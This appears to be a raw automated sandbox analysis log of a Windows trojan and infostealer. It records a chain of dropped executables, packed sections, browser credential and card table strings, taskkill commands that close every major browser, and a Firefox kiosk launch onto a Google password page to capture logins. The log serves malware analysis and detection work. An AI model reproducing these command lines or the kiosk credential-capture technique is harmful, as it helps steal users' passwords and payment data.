Source: file.exe, 00000000.00000003.1488049026.0000000005A5C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1485767050.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1489187376.00000000057D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1489805197.0000000005E1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1499638784.0000000005FD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1488049026.0000000005972000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1504034516.0000000005621000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1486356449.00000000056E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1484567517.0000000005621000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1495967897.0000000005F7E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1495859607.0000000005E79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1494564789.0000000005E7E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1493178143.0000000005E52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1492682806.0000000005F2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1496154855.0000000005D7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1499511912.0000000005EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1494422285.0000000005D80000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1490042059.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1498704122.0000000005D75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1491123055.0000000005E3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1486356449.0000000005680000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1501914362.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1493069851.0000000005D7E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1489961863.0000000005D7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1497804193.0000000005E8E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1493766359.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1500333516.0000000005D77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1492583934.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1499769889.0000000005D7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1490358747.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1490942786.0000000005D7E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1495348231.0000000005D7E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1498563596.0000000005FC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1504393932.00000000054D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1503712612.0000000005972000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1497334884.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1489882837.0000000005EC0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1487743777.000000000568A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1492881363.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1496472294.0000000005D74000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1504370619.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1498170298.0000000005E9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1500160936.0000000005EB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1492785740.0000000005D73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1501092126.0000000005D73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1505122640.00000000062DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1488377824.00000000057D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1499101661.0000000005D74000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1500878800.0000000006000000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1501316334.0000000005EBA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1484567517.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1501761449.000000000600B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1488220219.0000000005A5C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1496661520.0000000005E85000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1491457029.0000000005E34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1488823500.0000000005D81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1504141070.00000000056F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1497454186.0000000005D7E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1492453392.0000000005D76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1484567517.0000000005676000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1492198190.0000000005E3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1495492186.0000000005E75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1494138194.0000000005E60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1499367974.0000000005D74000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1499902644.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1487743777.00000000056F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1488737667.00000000057D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1490856549.0000000005E32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1489106059.0000000005D7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1498972276.0000000005FC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1491837923.0000000005E38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1496339795.0000000005E89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1504341487.0000000000D6D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1491707142.0000000005D76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1494835935.0000000005E77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1492327421.0000000005F06000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1499233497.0000000005EAB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1501611424.0000000005EB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1497688796.0000000005D73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1498841439.0000000005E9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1488049026.00000000059E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1490122718.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1495004128.0000000005D81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1502077097.0000000005EC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1488973309.0000000005E1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1486356449.0000000005621000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1500658314.0000000005EB2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9980836108934169
Source: SU4Z0W976Y8CJ3Z4HHN.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981905653950953
Source: SU4Z0W976Y8CJ3Z4HHN.exe.0.dr	Static PE information: Section: npluczcb ZLIB complexity 0.9944600974718245
Source: skotes.exe.11.dr	Static PE information: Section: ZLIB complexity 0.9981905653950953
Source: skotes.exe.11.dr	Static PE information: Section: npluczcb ZLIB complexity 0.9944600974718245
Source: random[1].exe.16.dr	Static PE information: Section: ZLIB complexity 0.9980836108934169
Source: 6c1c4a36e1.exe.16.dr	Static PE information: Section: ZLIB complexity 0.9980836108934169
Source: random[1].exe0.16.dr	Static PE information: Section: dcpywpmo ZLIB complexity 0.994637644070367
Source: 4b41d9dd20.exe.16.dr	Static PE information: Section: dcpywpmo ZLIB complexity 0.994637644070367

Source: random[1].exe0.16.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 4b41d9dd20.exe.16.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@45/21@39/11

Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe

Code function: 10_2_054515D0 ChangeServiceConfigA,

10_2_054515D0

Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8020:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:424:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4696:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2716:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4196:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user~1\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: firefox.exe, 00000022.00000002.2690546838.000001F3662AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cardsgetElevationRequired - unable to write to application bundle, elevation required. Exception: A list of property names. Events that do not match any of the names will be filtered out.<meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Source: file.exe, 00000000.00000003.1335303247.0000000005506000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1347608892.0000000005520000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1335588278.00000000054E8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1347849384.0000000005506000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2269574582.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2284056559.0000000005DAC000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2284422283.0000000005D9D000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2478797328.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2504153428.000000000551E000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2504842926.0000000005511000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2480039861.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 47%

Source: SU4Z0W976Y8CJ3Z4HHN.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe "C:\Users\user~1\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe "C:\Users\user~1\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe"
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe "C:\Users\user~1\AppData\Local\Temp\1003156001\6c1c4a36e1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe "C:\Users\user~1\AppData\Local\Temp\1003157001\4b41d9dd20.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe "C:\Users\user~1\AppData\Local\Temp\1003158001\9af14a3c40.exe"
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2204 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9da095b4-305f-4255-8eee-f99f24ad1374} 7936 "\\.\pipe\gecko-crash-server-pipe.7936" 1f35a171110 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003159001\num.exe "C:\Users\user~1\AppData\Local\Temp\1003159001\num.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe "C:\Users\user~1\AppData\Local\Temp\1003156001\6c1c4a36e1.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3440 -parentBuildID 20230927232528 -prefsHandle 4256 -prefMapHandle 4252 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5a37ea2d-6337-4935-aa82-5eddfa797fba} 7936 "\\.\pipe\gecko-crash-server-pipe.7936" 1f36bf3e210 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe "C:\Users\user~1\AppData\Local\Temp\1003157001\4b41d9dd20.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe "C:\Users\user~1\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe "C:\Users\user~1\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe "C:\Users\user~1\AppData\Local\Temp\1003156001\6c1c4a36e1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe "C:\Users\user~1\AppData\Local\Temp\1003157001\4b41d9dd20.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe "C:\Users\user~1\AppData\Local\Temp\1003158001\9af14a3c40.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003159001\num.exe "C:\Users\user~1\AppData\Local\Temp\1003159001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
